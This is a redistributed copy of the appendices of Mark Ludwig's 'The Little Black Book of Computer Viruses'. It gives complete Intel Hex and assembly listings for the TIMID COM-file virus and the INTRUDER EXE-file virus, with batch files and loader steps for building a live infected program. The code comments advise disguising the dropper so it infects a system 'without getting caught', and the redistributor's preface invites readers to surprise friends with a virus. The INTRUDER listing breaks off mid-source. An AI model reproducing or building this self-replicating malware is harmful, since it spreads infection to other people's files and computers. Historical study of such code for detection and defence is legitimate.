Volume One:
The Basic Technology
By
Mark A. Ludwig
American Eagle Publications, Inc.
Post Office Box 1507
Show Low, Arizona 85901
1996
I have read this book completely and I have found it very useful. This is a good beginning material for those who want to know the intrecacies of how a virus works and those who want to surprise their friends by creating a virus !
I had found this book long ago on a site the I recenly happened to know no longer exixts. I think a good text such as this shouldbe freely available to everybody and thus, I decided to upload it on my website and distribute it for free. The original copyright notice is attached, and no changes in the text are made except that it has been made in html format, for better view. The images whose reference is given in this book can be found at
this page.Please feel free to distribute this file. You can also read or contribute anything related to this book at the Special Section of Discussion Forum at my website (http://amitmathur.8m.com), started specially for it. You can catch it
hereI hope you will enjoy the book !
Amit Mathur
Copyright 1990 By Mark A. Ludwig
Virus drawings and cover design by Steve Warner
This electronic edition of The Little Black Book of Computer Viruses is
copyright 1996 by Mark A. Ludwig. This original text file
may be copied freely in unmodified form. Please share it, upload it,
download it, etc. This document may not be distributed in printed form
or modified in any way without written permission from the publisher.
Library of Congress CataloginginPublication Data
Ludwig, Mark A.
The little black book of computer viruses / by Mark A. Ludwig.
p. cm.
Includes bibliographical references (p. ) and index.
ISBN 0929408020 (v. 1) : $14.95
1. Computer viruses I. Title
QA76.76.C68L83 1990
005.8 dc20
And God saw that it was good.
And God blessed them, saying "
"
Genesis 1:21,22
Be fruitful
and multiply.
Appendix A: The TIMID Virus
The assembly language listings of all viruses are provided
in the appendicies. They have been designed so they can be assem
bled using either Microsoft Macro Assembler (MASM), Turbo
Assembler (TASM), or the shareware program A86. Batch files are
also listed which carry out the assembly with all three assemblers
e viruses into an executable state.
Additionally, Intel Hex listings of all viruses in this book
are provided here, in the appendicies. This will enable the reader
who has only a word processor and the BASIC language to get the
viruses into his computer and running. In Appendix F you will find
a BASIC listing of the Hex Loader which will transform the Intel
Hex listings of the viruses into executable programs. All you have
to do is type it in to your computer using the BASIC editor and save
it. Then, to create a virus, type in the Hex listing exactly as printed
here, using a wordprocessor, and save it to a file (e.g. TIMID.HEX).
When you run the Hex Loader, it will prompt you for the Hex file
name, and the Binary file name. Just enter the names, and it will
create the Binary file from the Hex file. If you made any errors in
typing the Hex file in, the loader will alert you to the error and tell
you which line number it is on.
For example, to create TIMID.COM from TIMID.HEX,
run the loader and it will prompt you ``Source file?,'' at which you
should enter ``TIMID.HEX''. Next, the loader will prompt you
``Destination file?'' and you should enter ``TIMID.COM''. It will
run for a few seconds and then tell you it is finished. When you exit
from BASIC, you should have a file TIMID.COM on disk. This is
the live virus.
Here is the complete Intel Hex listing for the TIMID virus
(TIMID.HEX):
:10000000E909005649212A2E434F4D00E80000819E
:100010002EFCFF0900BA2AFFB41ACD21E83E007574
:1000200010E88F00BA48FFC70655FF2400B409CD79
:1000300021BA8000B41ACD218B1EFCFF8B875200A1
:10004000A300018B875400A302018A875600A204F3
:1000500001C706FCFF0001C3B44CB000CD8B16FCF9
:10006000FFB93F00B44ECD210AC0750BE8090074FA
:1000700006B44FCD21EBF1C3BA48FFB8023DCD2104
:1000800072298BD853B90500BA57FFB43FCD215B15
:10009000B43ECD21A144FF050502720F803E57FFFB
:1000A000E9750D813E5AFF56497505B0010AC0C376
:1000B00032C0C3BA48FFB8023DCD21A355FF33C9B2
:1000C0008BD18B1E55FFB80242CD21B931018B1661
:1000D000FCFF8B1E55FFB440CD2133C98B1644FF66
:1000E00081C252008B1E55FFB80042CD21B90500D8
:1000F0008B1E55FFBA57FFB440CD2133C98BD18B2E
:100100001E55FFB80042CD218B1EFCFFC60657FFCF
:10011000E9A144FF050300A358FFC7065AFF56494B
:10012000B90500BA57FF8B1E55FFB440CD218B1E79
:0701300055FFB43ECD21C3D1
:00000001FF
Here is the assembly language listing for the TIMID virus
(TIMID.ASM):
;This program is a basic virus that infects just COM files. It gets the first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters ``VI'', which are used by the
;virus to identify an already infected
;program.
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
;This host is a shell of a program which will release the virus into the
;system. All it does is jump to the virus routine, which does its job and
;returns to it, at which point it terminates to DOS.
HOST:
jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly
db 'VI'
mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
VIRUS: ;a label for the first byte of the virus
COMFILE DB '*.COM',0 ;search string for a com file
96 The Little Black Book of Computer Viruses
VIRUS_START:
call GET_START ;get start address
;This is a trick to determine the location of the start of the program. We put
;the address of GET_START on the stack with the call, which is overlayed by
;VIR_START. Subtract offsets to get @VIRUS
GET_START:
sub WORD PTR [VIR_START],OFFSET GET_START OFFSET VIRUS
mov dx,OFFSET DTA ;put DTA at the end of the virus for now
mov ah,1AH ;set new DTA function
int 21H
call FIND_FILE ;get a com file to attack
jnz EXIT_VIRUS ;returned nz no file to infect, exit
call INFECT ;have a good COM file to use infect it
mov dx,OFFSET FNAME ;display the name of the file just infected
mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'
mov ah,9
int 21H ;display it
EXIT_VIRUS:
mov dx,80H ;fix the DTA so that the host program doesn't
mov ah,1AH ;get confused and write over its data with
int 21H ;file i/o or something like that!
mov bx,[VIR_START] ;get the start address of the virus
mov ax,WORD PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)] ;restore
mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file
mov ax,WORD PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)+2]
mov WORD PTR [HOST+2],ax
mov al,BYTE PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)+4]
mov BYTE PTR [HOST+4],al
mov [VIR_START],100H ;set up stack to do return to host program
ret ;and return to host
START_CODE: ;move first 5 bytes from host program to here
nop ;nop's for the original assembly code
nop ;will work fine
nop
nop
nop
;*******************************************************************************
;Find a file which passes FILE_OK
;This routine does a simple directory search to find a COM file in the current
;directory, to find a file for which FILE_OK returns with z set.
FIND_FILE:
mov dx,[VIR_START]
; add dx,OFFSET COMFILE OFFSET VIRUS ;this is zero here, so omit it
mov cx,3FH ;search for any file, with any attributes
mov ah,4EH ;do DOS search first function
int 21H
FF_LOOP:
or al,al ;is DOS return OK?
jnz FF_DONE ;no quit with Z reset
call FILE_OK ;return ok is this a good file to use?
jz FF_DONE ;yes valid file found exit with z set
mov ah,4FH ;not a valid file, so
int 21H ;do find next function
jmp FF_LOOP ;and go test next file for validity
FF_DONE:
ret
;*******************************************************************************
;Function to determine whether the COM file specified in FNAME is useable. If
;so return z, else return nz.
;What makes a COM file useable?:
; a) There must be space for the virus without exceeding the
; 64 KByte file size limit.
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
; and 'V', 'I', respectively
;
FILE_OK:
mov dx,OFFSET FNAME ;first open the file
Appendix A: The TIMID Virus 97
mov ax,3D02H ;r/w access open file we'll want to write to it
int 21H
jc FOK_NZEND ;error opening file quit, file can't be used
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS OFFSET VIRUS ;add size of virus to it
jc FOK_NZEND ;c set if size goes above 64K
cmp BYTE PTR [START_IMAGE],0E9H ;size ok is first byte a near jmp
jnz FOK_ZEND ;not a near jump, file must be ok, exit with z
cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
;*******************************************************************************
;This routine moves the virus (this program) to the end of the COM file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored
;in memory.
INFECT:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file, we want to write to it
int 21H
mov WORD PTR [HANDLE],ax ;and save the file handle here
xor cx,cx ;prepare to write virus on new file
mov dx,cx ;position file pointer, cx:dx = pointer = 0
mov bx,WORD PTR [HANDLE]
mov ax,4202H ;locate pointer to end DOS function
int 21H
mov cx,OFFSET FINAL OFFSET VIRUS ;now write virus, cx=# bytes
mov dx,[VIR_START] ;ds:dx = place in memory to write from
mov bx,WORD PTR [HANDLE] ;bx = file handle
mov ah,40H ;DOS write function
int 21H
xor cx,cx ;now save 5 bytes which came from start of host
mov dx,WORD PTR [FSIZE] ;so position the file pointer
add dx,OFFSET START_CODE OFFSET VIRUS ;to where START_CODE is
mov bx,WORD PTR [HANDLE] ;in the new virus
mov ax,4200H ;and use DOS to position the file pointer
int 21H
mov cx,5 ;now go write START_CODE in the file
mov bx,WORD PTR [HANDLE] ;this data was obtained
mov dx,OFFSET START_IMAGE ;during the FILE_OK function above
mov ah,40H
int 21H
xor cx,cx ;now go back to the start of host program
mov dx,cx ;so we can put the jump to the virus in
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;locate file pointer function
98 The Little Black Book of Computer Viruses
int 21H
mov bx,[VIR_START] ;calculate jump location for start of code
mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9
mov ax,WORD PTR [FSIZE] ;and then the relative address
add ax,OFFSET VIRUS_STARTOFFSET VIRUS3 ;these go to START_IMAGE
mov WORD PTR [START_IMAGE+1],ax
mov WORD PTR [START_IMAGE+3],4956H ;and put 'VI' ID code in
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE
mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE
mov bx,WORD PTR [HANDLE] ;file handle
mov ah,40H ;DOS write function
int 21H
mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack
mov ah,3EH ;and close file
int 21H
ret ;all done, the virus is transferred
FINAL: ;label for last byte of code to be kept in virus when it moves
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
;Note: 212 = FFFF FF2A 1 = size of data space
; $ gives approximate size of code required for virus
ORG 0FF2AH
DTA DB 1AH dup (?) ;this is a work area for the search function
FSIZE DW 0,0 ;file size storage area
FNAME DB 13 dup (?) ;area for file path
HANDLE DW 0 ;file handle
START_IMAGE DB 0,0,0,0,0 ;area to store 5 bytes to rd/wrt to file
VSTACK DW 50H dup (?) ;stack for the virus program
VIR_START DW (?) ;start address of VIRUS (overlays stack)
MAIN ENDS
END HOST
In order to create a working copy of the virus (i.e. an
infected COM file), you will also need the very short program
SHELLT.ASM:
;Assembly language shell for a simple COM file program
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
START:
FINISH: mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
MAIN ENDS
END START
In order to create a working virus under Turbo Assembler,
create the following batch file (MAKET_T.BAT), along with the
Appendix A: The TIMID Virus 99
above two ASM files, put them all in the same directory, and execute
the batch file. The end result will be a file TIMID.COM, which is
a COM file with the virus attached to it.
md timid
tasm timid,,;
tlink /t timid,,;
copy timid.com timid
tasm shellt,,;
tlink /t shellt,,;
copy shellt.com timid
cd timid
timid
del timid.com
copy shellt.com ..\timid.com
del shellt.com
cd ..
rd timid
del *.obj
del *.lst
del *.map
del shellt.com
If you prefer to use the Microsoft Assembler (MASM),
you'll need two files, MAKET_M.BAT:
md timid
masm timid,,;
link timid,,;
debug timid.exe aket_m.dbg
masm shellt,,;
link shellt,,;
exe2bin shellt shellt.com
copy shellt.com timid
copy timid.com timid
cd timid
timid
del timid.com
copy shellt.com ..\timid.com
del shellt.com
cd ..
rd timid
del *.obj
del *.lst
del *.map
del shellt.com
del timid.exe
del shellt.exe
100 The Little Black Book of Computer Viruses
and MAKET_M.DBG:
n timid.com
r cx
400
r bx
0
w 100
q
When you run MAKET_M.BAT, make sure the DOS pro
gram DEBUG is in your path, so it will execute when called by the
batch file. The reason you need DEBUGwith MASM, but not with
TASM is that MASM tries to outsmart the programmer about the
type of jump instructions to code into the program, so instead of
coding a near jump, it can automatically switch it over to a short
jump. This is simply not acceptable, so we use DEBUG to correct
MASM.
If you prefer to assemble the virus using A86, create and
execute the following batch file (MAKET_A.BAT):
md timid
a86 timid.asm timid.com
a86 shellt.asm shellt.com
copy shellt.com timid
copy timid.com timid
cd timid
timid
del timid.com
copy shellt.com ..\timid.com
del shellt.com
cd ..
rd timid
del shellt.com
del *.sym
Appendix A: The TIMID Virus 101
Appendix B: The INTRUDER Virus
WARNING! The INTRUDER virus replicates without any
notice or clue as to where it is going. It is an extremely contagious
virus which will infect your computer, and other computers, if you
execute it. Only the most sophisticated computer users should even
contemplate assembling the following code. IT IS PROVIDED
HERE FOR INFORMATION PURPOSES ONLY. ASSEM
BLE IT AT YOUR OWN RISK!!
The Intel HEX listing for the Intruder virus is as follows:
:100000004D5A47000500020020001100FFFF650067
:100010000001259E0C0112001E00000001003401A9
:100020001200480112000000000000000000000063
:1000300000000000000000000000000000000000C0
:1000400000000000000000000000000000000000B0
:1000500000000000000000000000000000000000A0
:100060000000000000000000000000000000000090
:100070000000000000000000000000000000000080
:100080000000000000000000000000000000000070
:100090000000000000000000000000000000000060
:1000A0000000000000000000000000000000000050
:1000B0000000000000000000000000000000000040
:1000C0000000000000000000000000000000000030
:1000D0000000000000000000000000000000000020
:1000E0000000000000000000000000000000000010
:1000F0000000000000000000000000000000000000
:1001000000000000000000000000000000000000EF
:1001100000000000000000000000000000000000DF
:1001200000000000000000000000000000000000CF
:1001300000000000000000000000000000000000BF
:1001400000000000000000000000000000000000AF
:10015000000000000000000000000000000000009F
:10016000000000000000000000000000000000008F
:10017000000000000000000000000000000000007F
:10018000000000000000000000000000000000006F
:10019000000000000000000000000000000000005F
:1001A000000000000000000000000000000000004F
:1001B000000000000000000000000000000000003F
:1001C000000000000000000000000000000000002F
:1001D000000000000000000000000000000000001F
:1001E000000000000000000000000000000000000F
:1001F00000000000000000000000000000000000FF
:10020000494E5452554445522E455845008CC88E8F
:10021000D8BA0000B441CD21B44CB000CD210000CB
:1002200000000000000000000000000000000000CE
:1002300000000000000000000000000000000000BE
:1002400000000000000000000000000000000000AE
:10025000000000000000000000000000000000009E
:10026000000000000000000000000000000000008E
:10027000000000000000000000000000000000007E
:10028000000000000000000000000000000000006E
:10029000000000000000000000000000000000005E
:1002A000000000000000000000000000000000004E
:1002B000000000000000000000000000000000003E
:1002C000000000000000000000000000000000002E
:1002D000000000000000000000000000000000001E
:1002E000000000000000000000000000000000000E
:1002F00000000000000000000000000000000000FE
:1003000000000000000000000000000000000000ED
:1003100000000000000000000000000000000000DD
:10032000AAC800000000000000000000000000005B
:1003300000000000000000000000000000000000BD
:1003400000000000000000000000000000000000AD
:10035000000000000000000000000000000000009D
:10036000000000000000000000000000000000008D
:10037000000000000000000000000000000000007D
:10038000000000000000000000000000000000006D
:10039000000000000000000000000000000000005D
:1003A000000000000000000000000000000000004D
:1003B000000000000000000000000000000000003D
:1003C0000000005C2A2E455845005C2A2E2A0000B9
:1003D000000000000000000000000000000000001D
:1003E000000000000000000000000000000000000D
:1003F00000000000000000000000000000000000FD
:1004000000000000000000000000000000000000EC
:1004100000000000000000000000000000000000DC
:10042000000000000000000000000001508CC88E99
:10043000D88CC0A30400E867037518E86B03E86E66
:1004400003E826007509E89103E8E401E8CE03E833
:10045000760358BB0200FA8ED3BC00018E0604005E
:100460008E1E0400FBEA0D000000B05CA2AF00BECF
:10047000B00032D2B447CD21803EB00000750532C5
:10048000C0A2AF00B002A2FD00E81000740D32C09F
103 The Little Black Book of Computer Viruses
:10049000A2AF00FEC0A2FD00E80100C3E851007356
:1004A0004C803EFD0000743FFE0EFD00BFAF00BE5D
:1004B000AA00E8BB004757E8760075235F32C0AA60
:1004C000BFAF00BB4F00A0FD00B22BF6E203D88BFC
:1004D000F3E89C0057E8C4FF7412E8760074DDFE70
:1004E00006FD005F32C0AAB0010AC0C35F32C0C3BC
:1004F000BA0600B41ACD21BFAF00BEA300E8700059
:1005000057BAAF00B93F00B44ECD210AC075195F8C
:1005100047AABFAF00BE2400E855004F57E863006C
:10052000730CB44FCD21EBE35FC60500F9C35FC385
:10053000E8310052B41ACD21BAAF00B91000B44E60
:10054000CD215B0AC0751CF64715107406807F1E0E
:100550002E750EE80E0052B41ACD21B44FCD21EB0A
:10056000E132C0C3BA3100B02BF626FD0003D0C380
:10057000268A05470AC075F84F57FCACAA0AC07511
:10058000F95FC3E82300720DE80B007208E833003E
:100590007203E84500C3B04DB45A3B0687007402AD
:1005A000F9C333C02B06A100C3BAAF00B8023DCDDA
:1005B00021720FA3FE008BD8B91C00BA8700B43F8C
:1005C000CD21C3A18F0003C003C02B068D0003C043
:1005D00003C02B069F003D0800C3A19D0003068FAA
:1005E00000BA1000F7E28BCA8BD08B1EFE00B80059
:1005F00042CD21B43F8B1EFE00BA0901B90200CDE5
:1006000021720BA109013B060000F87501F9C3A096
:100610000501240F7419B910002AC8BA2705010E64
:10062000050183160701008B1EFE00B440CD21C3D7
:100630008B0E07018B1605018B1EFE00B80042CD04
:1006400021E8CBFFB9270533D28B1EFE00B440CD85
:10065000218B1605018B0E0701BB33014303D3BB6E
:10066000000013CB8B1EFE00B80042CD21BA9500CE
:100670008B1EFE00B90200B440CD218B1605018B04
:100680000E0701BB39014303D3BB000013CB8B1E04
:10069000FE00B80042CD21BA97008B1EFE00B902C1
:1006A00000B440CD218B1605018B0E0701BB45011F
:1006B00083C30103D3BB000013CB8B1EFE00B80025
:1006C00042CD21BA9B008B1EFE00B90400B440CD80
:1006D0002133C933D28B1EFE00B80042CD21A105C3
:1006E00001B104D3E88B1E070180E30FB104D2E30C
:1006F00002E32B068F00A39D00BB270583C310B127
:1007000004D3EB03C3A39500B80C01A39B00B8006E
:1007100001A397008B160701A10501BB270503C3A1
:1007200033DB13D305000213D350B109D3E8B1076B
:10073000D3E203C2A38B005825FF01A38900B802AE
:100740000001068D00B91C00BA87008B1EFE00B4A4
:1007500040CD21A18D004848BB0400F7E303069F6C
:1007600000BB000013D38BCA8BD08B1EFE00B800D9
:1007700042CD21A19D00BB330143891E8700A3897F
:1007800000A19D00BB450183C303891E8B00A38D7F
:1007900000B90800BA87008B1EFE00B440CD21C30B
:1007A00032E4C3CD1A80E200C3B090A28204C3B485
:1007B0002FCD21891E02008CC0A304008CC88EC0DE
:1007C000BA0600B41ACD21C38B160200A104008E14
Appendix B: The INTRUDER Virus 104
:1007D000D8B41ACD218CC88ED8C3B443B000BAAFF8
:1007E00000CD21880E0001B443B001BAAF00B100C2
:1007F000CD21BAAF00B002B43DCD21A3FE00B45765
:1008000032C08B1EFE00CD21890E01018916030125
:10081000A12200A30701A12000A30501C38B160399
:10082000018B0E0101B457B0018B1EFE00CD21B427
:100830003E8B1EFE00CD218A0E000132EDB443B086
:0708400001BAAF00CD21C396
:00000001FF
The assembly language listing of the Intruder virus follows:
;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'INTRUDER.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;************************************************************************
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus,
;these go in relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
105 The Little Black Book of Computer Viruses
;Intruder Virus code segment. This gains control first, before the host. As
;this ASM file is layed out, this program will look exactly like a simple
;program that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new
;host in, to see if virus already there
VCODE DB 1 ;identifies this version
;**************************************************************************
;Intruder virus main routine starts here
VIRUS:
push ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg
call SHOULDRUN ;run only when this returns with z set
jnz REL1 ;not ok to run, go execute host program
call SETSR ;modify SHOULDRUN for next copy of the virus
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz FINISH ;returned nz no valid file, exit
call SAVE_ATTRIBUTE ;save the file attr's and leave file open
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore original file attr's and close file
FINISH: call RESTORE_DTA ;restore DTA to its original value at startup
pop ax
REL1: ;relocatable marker for host stack segment
mov ax,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,ax
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;**************************************************************************
;First Level Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level. This returns with Z set if a valid
;file is found.
;
Appendix B: The INTRUDER Virus 106
FIND_FILE:
mov al,'\' ;set up current dir path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one exit
xor al,al ;nope try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z set by FINDBR
;**************************************************************************
;Second Level Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset,
;this routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it exit
cmp [LEVEL],0 ;nodo we want to go another directory deeper?
jz FBE1 ;noexit
dec [LEVEL] ;yesdecrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
107 The Little Black Book of Computer Viruses
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;**************************************************************************
;Third Level Part A Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will
;return with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes is this a good file to use?
jnc FENC ;yes valid file found exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;**************************************************************************
;Third Level Part B Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;put proper DTA address in dx
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
Appendix B: The INTRUDER Virus 108
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;novalid directory, exit, setting Z flag
;else it was dir header entry, so fall through
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address againmay not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;**************************************************************************
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;**************************************************************************
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point
ret ;to end of string 1
;**************************************************************************
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
109 The Little Black Book of Computer Viruses
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;**************************************************************************
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;**************************************************************************
